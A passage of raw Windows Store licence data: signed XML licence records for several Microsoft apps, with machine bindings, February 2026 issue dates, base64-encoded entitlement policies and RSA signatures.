LicenseCategory="Retail"><IssuedDate>2026-02-19T16:08:59.0541376Z</IssuedDate><LastUpdateDate>2026-02-19T16:08:59.0418692Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiODliN2I5YmItODUzOC1jM2NjLTVlYzctMTZhODE3Y2JkYzA2IiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2ODI1ODQ3ODI4NjUxMDA2JmNvbnRlbnRJZD1mYjA2ZWY5NS1iYzQ4LTFhNmEtMjZmYi00NDUwY2U5YTU5MDYmZW50aXRsZW1lbnRJZD04OWI3YjliYi04NTM4LWMzY2MtNWVjNy0xNmE4MTdjYmRjMDYmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbImI2MTI2NTk3LThlY2ItODFiNC04YjNhLTE0MzBkYzI5ODhjMSJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6ImZiMDZlZjk1LWJjNDgtMWE2YS0yNmZiLTQ0NTBjZTlhNTkwNiIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5UEtEWkJNVjFIM1QiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDVUMTY6MDg6NTkuMDQxNjkzNCswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAAKgAAADJAAAACgAAAAUAAgCbNZdpAADLAAAAEAAAAH0NeFbc1Km5wSG90yO9w7XOAAAAQAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AZwBlAHQAaABlAGwAcABfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEABxMlvc64qlESUwvNYFI69CPw63OtRXmdmi83FGEaSQLTAAAABAAAAJuqqWnMAAAARAAAAAEAAgBmQZPVqmts696JVbcL+EztXN5BwMO4VXPW/BD3jqK11iXkPSCni09QpGeNGAh3ocCQQo66RjxTQc/UtJ98PQeV</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>XYBJ95ssyMxuSOWJJJgB/E2v3t3tStqKvKazoGCZtHo=</DigestValue></Reference></SignedInfo><SignatureValue>JrEcrbEmg+CmXtTfoYLsI4WuQWZPIqSJ51IJ7wL7JXl0sAwI8j4wizp47HF0N9AFtEFi8Jl6i0dJzFsOParO7C1oRPSaiNedpQBixVsg/VjhyzVwxq0jjudkGijWIQd7C8OYrNKfqBdj5YoF082FiHUvrtkRjXvWi+U9huEC6aOTDQE4eBOR9C7x7bZblF1/pSxkXYB1wH9zPTb2hNp8Vazuw0NEqvgdX2RZCojI3+oslKooIzGsgM+os8s6kmtVccoXPImfSmmHj6g8dqaWT28XqoPv7BzL8en940JQ5LUB2M8yL4L+qKMU8ClUJzTfUmFiz9ZSdzZQMeRVrqUMYw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="25ab9dc7-d8ad-40be-a694-3780094b5822" LicenseID="b6126597-8ecb-81b4-8b3a-1430dc2988c1" ContentID="fb06ef95-bc48-1a6a-26fb-4450ce9a5906" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9PKDZBMV1H3T</ProductID><PFM>microsoft.gethelp_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T14:40:07.5554342Z</IssuedDate><LastUpdateDate>2026-02-20T14:40:07.5427893Z</LastUpdateDate><BeginDate>2026-02-20T14:40:07.5427884Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJkMmNhNDFhOC0zNTlmLTRlOTItYWNkNi02ZDk3ZmU1YmM0NmMifQ==</CustomPolicies><SPLicenseBlock>FAAAAKgAAADJAAAACgAAAAUAAQBIcphpAwDLAAAAEAAAAJdlErbLjrSBizoUMNwpiMHOAAAAQAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AZwBlAHQAaABlAGwAcABfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEABxMlvc64qlESUwvNYFI69CPw63OtRXmdmi83FGEaSQIgAAAABAAAAEhymGnMAAAARAAAAAEAAgCxy+qUMWBmzPMpAxAFnun/ztSFlb/TjCkoR+LkC5gzrnrgAGhV2NY5ltfFTozjlx07yPfCDshLPDjiRvcvjPdj</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>EUZQujpTeq3pysn08wHn8PLGVgORRRqQ2xIX1Y8Xn4g=</DigestValue></Reference></SignedInfo><SignatureValue>LW5vk8kV7iTi1ppQqqAhEB1URS+M2m/8BO1lwaFVWJr4VivEn/qxEGQ/yqGoABMNS/e6FnWmhLNiVc09ezfPuu5Gw+ACOPc5YTM9poXwu8sNH4WlkHb64yE7BZJ910Hm9VvzuIT2v0/CB1WPFGaV76pJIyFy/bcahUTPBIrawJ5tJ8jvA6dGalgSSTcS58sIFJMwY9fjnj8rm4q0IX+l/99gKpEy7bs2mAIubx3sfuvXt+RGcA8nv8YEeRMzh1+yg1ddruxLhKaTUvwVLRrupFc2oSR0B2Y6V8Q1PEVyliywInVe8hvlbUZfVTb7cvWpZEKQs7gN2noLlEqJEqk+Pw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="483adeb7-9b8c-40ae-b12c-b62c70424662" LicenseID="dfe050f7-40b2-2dba-9b02-080db480728b" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.Windows.DevHome_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-19T21:48:18.0747742Z</IssuedDate><LastUpdateDate>2026-02-19T21:48:18.0637814Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiMTMyYzY1NWQtZTBkNi1kOGYxLWY1NTgtOTVlMmExNDQzMTJiIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2ODk2MjMxNjcwMjA4MzAyJmNvbnRlbnRJZD0zOTVjYjIwMC1kMzZiLTA3NWEtOGNjYy1jOTBiMGE0OTYwM2QmZW50aXRsZW1lbnRJZD0xMzJjNjU1ZC1lMGQ2LWQ4ZjEtZjU1OC05NWUyYTE0NDMxMmImbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbImI3OWVlNWE1LTI0ZjgtYmQyNC1jYjdjLTQwMDBkNTJiNTRkMyJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjM5NWNiMjAwLWQzNmItMDc1YS04Y2NjLWM5MGIwYTQ5NjAzZCIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TjhNSFRQSE5HVlYiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDVUMjE6NDg6MTguMDYzNjIwMiswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAALgAAADJAAAACgAAAAUAAgAihZdpAADLAAAAEAAAAPdQ4N+yQLotmwIIDbSAcovOAAAAUAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwAuAGQAZQB2AGgAbwBtAGUAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABANikmTV2Ebvxl9AOj6/72OpNBbDtFnWbgaGBZG5UbG2t0wAAAAQAAAAi+qlpzAAAAEQAAAABAAIA4o9xKGES5uUssTDHx3n3zBWr8dfUCMtnxte2YEpfNJE+HNBhDaZDA4y+CZiTIDWwQWphXhEwtSYiIYCPzX9cOw==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>uwgx5GQ31a7v36AeDxLqMlTPQGTHzrPZHHyXHXmpwOg=</DigestValue></Reference></SignedInfo><SignatureValue>M0sBrumDplKNweQgi4XXWiUPReur84E8Ebn44wndXrJNzVZ/kVc00u+RTWBStWV3VTaoZdJICNw47/30WYgqG/YKaXMLfQ43PWAhkRN9saoOnjOhIJQtaOz/io0Ut62RDAA/6SsR/YeVuVFeG9eB0ChU4ju1dp3iQQdltd2xwGb4IM3OWwJvjuq7Lc7blqqhwZ0mQlmpj9BwdMJM7TX1lz/l50hAgKTp4bZzUeVOkwZPr3bCcJ0MigLJ6LWTgEeIlUiuH6FuBY6JUJ62A9/UdBguY9cP9OcIMfLVu/tSS1NCUG3MeAmIoj3owiM78nGGb3l+b8gBlWh9R4h7gmfSUA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="a2a2ccd5-94ff-4fc1-b926-199a9a40dcd2" LicenseID="b79ee5a5-24f8-bd24-cb7c-4000d52b54d3" ContentID="395cb200-d36b-075a-8ccc-c90b0a49603d" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9N8MHTPHNGVV</ProductID><PFM>microsoft.windows.devhome_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-19T21:48:18.0730676Z</IssuedDate><LastUpdateDate>2026-02-19T21:48:18.0642656Z</LastUpdateDate><BeginDate>2026-02-19T21:48:18.064265Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI0YjRjMDllYS1iZGMxLTQ2ZGEtODcxMC00NmU2NGFlNjE4MDYifQ==</CustomPolicies><SPLicenseBlock>FAAAALgAAADJAAAACgAAAAUAAQAihZdpAwDLAAAAEAAAAKXlnrf4JCS9y3xAANUrVNPOAAAAUAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwAuAGQAZQB2AGgAbwBtAGUAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABANikmTV2Ebvxl9AOj6/72OpNBbDtFnWbgaGBZG5UbG2tIAAAAAQAAAAihZdpzAAAAEQAAAABAAIAqxp4TYgLzmGhmONd7i6idyTuRo9tF13xcJVk3b6UPagPzT+EQGmjpp1E6TK8Q33qmGEBjO0niA9RNF36PFwvkw==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>UygUAfFqH1ElGbZcveAysTp9rRAcKK4jLSaf7VhF0Ug=</DigestValue></Reference></SignedInfo><SignatureValue>kdmYdMC/ad+JhN89MagkqXjschd6s9gPE6umZgdV7LYd5kY/tcyahOMbRtUldYtQ2oKRnMqc79WZjghQxeZauKDmlRowryxN9r8rX7H+QMP4Yp2PlIR+Po9C53lt+2b61yYs4T7USvwH+qgToT6bRXNzCV8PhYo6m+QZ16zFSrBcycQPhq3p0Hi12eW5vPSeer1LpAggXh5S2LQWe0zbpfKWy34GUvOwPznRkgmT5Hc/hFDx8qeP/SbG79Mp9oBz/5A8Bn1esAs2e/SEje1SIeBfhuFGD6Vxgrn9ivknBUOO9fLwKvvSAEXCXio5ekoVjkm51uWleZg+6ee6rFmvhw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="3c567aa2-3c19-4e71-9621-da7ad2112fc5" LicenseID="2c47903d-15ab-20db-6020-db5206c59481" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.HEIFImageExtension_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T13:21:18.8849123Z</IssuedDate><LastUpdateDate>2026-02-20T13:21:18.8736192Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiMWI5ZWQyMjktMGM2ZC05YzYxLWUwNTYtM2FjZWE1ZDg4ZmMxIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2OTY2NjAwMDYxMzYwMTM2JmNvbnRlbnRJZD03NTQwNzhlYi0zYTc4LWI0NDQtNWZjMi03MGRmZTg0ZWM0ZTUmZW50aXRsZW1lbnRJZD0xYjllZDIyOS0wYzZkLTljNjEtZTA1Ni0zYWNlYTVkODhmYzEmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbImJiMjZhMGU1LWQyMzUtMGVlNi0wYzM2LTZkNWUxODVmYTViMSJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6Ijc1NDA3OGViLTNhNzgtYjQ0NC01ZmMyLTcwZGZlODRlYzRlNSIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5UE1NU1IxQ0dQV0ciLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTM6MjE6MTguODczNDkxKzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAgDPX5hpAADLAAAAEAAAAD2QRyyrFdsgYCDbUgbFlIHOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AaABlAGkAZgBpAG0AYQBnAGUAZQB4AHQAZQBuAHMAaQBvAG4AXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAKFWWk5ZFd5AiUeIttDbtSNhAQCgn+cmfpSMvFY9+5a30wAAAAQAAADP1KppzAAAAEQAAAABAAIAJcVebfzMlFnxExZX67XlZGyGKY5y+Gb21x0O1bBE1Ja5PrLBNee79UsW20wEXOg5+vVnNJu1LSFnFTlUI0V5xA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>tLJhmgMAG/ZSR/05/9VlRpybRwr2e0RobwWUpXSqH1g=</DigestValue></Reference></SignedInfo><SignatureValue>YCantzx9bpICaPGEClRyOLMn9JBLKDauYY9Pb/kyfMDoiWryqpJMpnOh2lP7L6lm+j5/ewOjl7woJHXEmL4cRXdskrx5q2zA92SRbRryg3W51QY+Cu91yXGKxJXj4+s673ancAQTJOB4nb2ejyTMUnvRtFlB0qKCjR6u+Z5WFwS1BGUO+OobWZXY/g61z3C7QDrKm25oRqJlYrYn99g6RC9SwzQIgExCbGNIezMzog3I/KngraLwBLW+vIy6OHdea0pR0SNGs4MLoqmFNKybdbWbw1SC/2XCiWrzkfNovTp26CnNo37fmN+/mj5cT2Pcy4aH0vJUkRZrpG+Azlzvsw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="c8c73177-b977-463d-96f5-9960b88a0cd1" LicenseID="bb26a0e5-d235-0ee6-0c36-6d5e185fa5b1" ContentID="754078eb-3a78-b444-5fc2-70dfe84ec4e5" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9PMMSR1CGPWG</ProductID><PFM>microsoft.heifimageextension_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T11:17:38.5200813Z</IssuedDate><LastUpdateDate>2026-02-20T11:17:38.5093999Z</LastUpdateDate><BeginDate>2026-02-20T11:17:38.5093989Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJjNjJmNjAzZi02MjcyLTRiYjMtYTZhYi1kMDI2ZWIzODk5MDQifQ==</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAQDTQphpAwDLAAAAEAAAAOWgJrs10uYODDZtXhhfpbHOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AaABlAGkAZgBpAG0AYQBnAGUAZQB4AHQAZQBuAHMAaQBvAG4AXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAKFWWk5ZFd5AiUeIttDbtSNhAQCgn+cmfpSMvFY9+5a3IAAAAAQAAADTQphpzAAAAEQAAAABAAIAjr2Rv4SuuFie3BbxgkJt2GgdsvU0qQwrZwflcu7wILrL78ZI91N7C/lu25YMSJpDq8+UlNLEcZL5huU70oNeCA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>rMR8Ezta8Kx/14J1O3o+DKe2drrqH3rl0sgbT1FQf6U=</DigestValue></Reference></SignedInfo><SignatureValue>jjgGmpsfhjd4pXuRo8FoGQfatS5+NtlKnmqL4EPCXwWDPJVPCqI/fJ7xqpoBZJC/QR0HWG7DMQVX+FgpwMzYF6k64KUE2H9Bs1HelPCw3W91/qKrBYajTKPBXqMrB8KTQGeWDqK+GnXGxxNLMOcaMG4yPm4OqCp+HgpCPzwqzGNH+z5BDE5uOXS+dfhR9UM341Q3PdpfCQrsSNaLf3yv6GT0LZAI0vQZZPAFu84F+iQJuYw7x3Wyj2/rzXBCN2yLQ2K1t30zH8MICXcvCiuXdLsQXCuHJediQE9wCZwkq17S2/2OO0V9pjbGCtieawXZDj7UAvHj6s7yOmtm4M/nDw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
-"C6<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="1fa1bc6d-cbc3-402b-a76e-a840507d6710" LicenseID="e9f4ed8d-425b-bb53-5acb-e33d79009b66" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>MicrosoftWindows.CrossDevice_cw5n1h2txyewy</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T10:28:37.8701578Z</IssuedDate><LastUpdateDate>2026-02-20T10:28:37.8578836Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiODM3NGJiNWUtM2I5Yi01Y2E2LWM0ODQtM2YzYmRjZjRhZWQwIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhJTNhMTA1NTUyMTU5MDgzMDg3OSZjb250ZW50SWQ9ZDZlZjJkMzMtOTBmYy1iY2FjLWQ3Y2QtYWJkMmE2N2M0NDRhJmVudGl0bGVtZW50SWQ9ODM3NGJiNWUtM2I5Yi01Y2E2LWM0ODQtM2YzYmRjZjRhZWQwJm1hcmtldD1DSCZwb2xpY3lUeXBlPURldmljZSIsImtleUlkcyI6WyJiY2I5ZTIzMC1kNzAwLWE3NjMtODZmNS0wMmQyMTU2MTZkOGMiXSwia2luZCI6IkNvbnRlbnQiLCJwYWNrYWdlcyI6W3sicGFja2FnZUlkZW50aWZpZXIiOiJkNmVmMmQzMy05MGZjLWJjYWMtZDdjZC1hYmQyYTY3YzQ0NGEiLCJwYWNrYWdlVHlwZSI6Im1zaXgiLCJwcm9kdWN0QWRkT25zIjpbXSwicHJvZHVjdElkIjoiOU5UWEdLUThQN04wIiwic2t1SWQiOiIwMDEwIn1dLCJwb2xsQXQiOiIyMDI2LTAzLTA2VDEwOjI4OjM3Ljg1NzY0MTQrMDA6MDAiLCJyZWZyZXNoT25TdGFydHVwIjpmYWxzZSwidmVyc2lvbiI6N30=</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAgBWN5hpAADLAAAAEAAAAI3t9OlbQlO7WsvjPXkAm2bOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AHcAaQBuAGQAbwB3AHMALgBjAHIAbwBzAHMAZABlAHYAaQBjAGUAXwBjAHcANQBuADEAaAAyAHQAeAB5AGUAdwB5AAAAzQAAACIAAAABALc7txXd62b3F6kttqLJLnlJULA6dK